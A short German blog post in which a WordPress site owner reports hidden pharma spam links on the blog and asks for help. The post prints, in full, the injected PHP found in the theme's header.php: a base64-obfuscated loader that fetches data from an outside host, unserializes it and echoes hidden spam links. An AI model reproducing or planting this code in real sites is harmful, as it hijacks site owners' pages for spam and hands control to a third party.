Schöne Scheiße!
Im Quelltext meines blogs tauchten in einem 0px hohen div mit hidden overflow so schöne Begriffe auf wie "Viagra, Tramal, Tramaldol, Ciagris" und wie die Konsorten alle heißen.
Ich fand dann in meiner header.php folgenden schadhaften Code:
PHP
<?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8yMA=='; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!='' && sizeof($blarr['links'])>0){ if($blarr['random']){ $new=''; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=''; foreach($blarr['links'] as $k=>$v) $txt_out.='<a href="'.$v.'">'.$k.'</a>'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>
Wer macht so was warum und wie? Ich habe die aktuellste WP-Version, allerdings ein recht altes, geforktes Theme und ne Menge Plugins.
Ich möchte aber natürlich nur ungern diese Plugins kicken und genausowenig möchte ich mein Theme ändern. Eigentlich.
Hat jemand ne Idee, was da los ist?
Beste Grüße
pp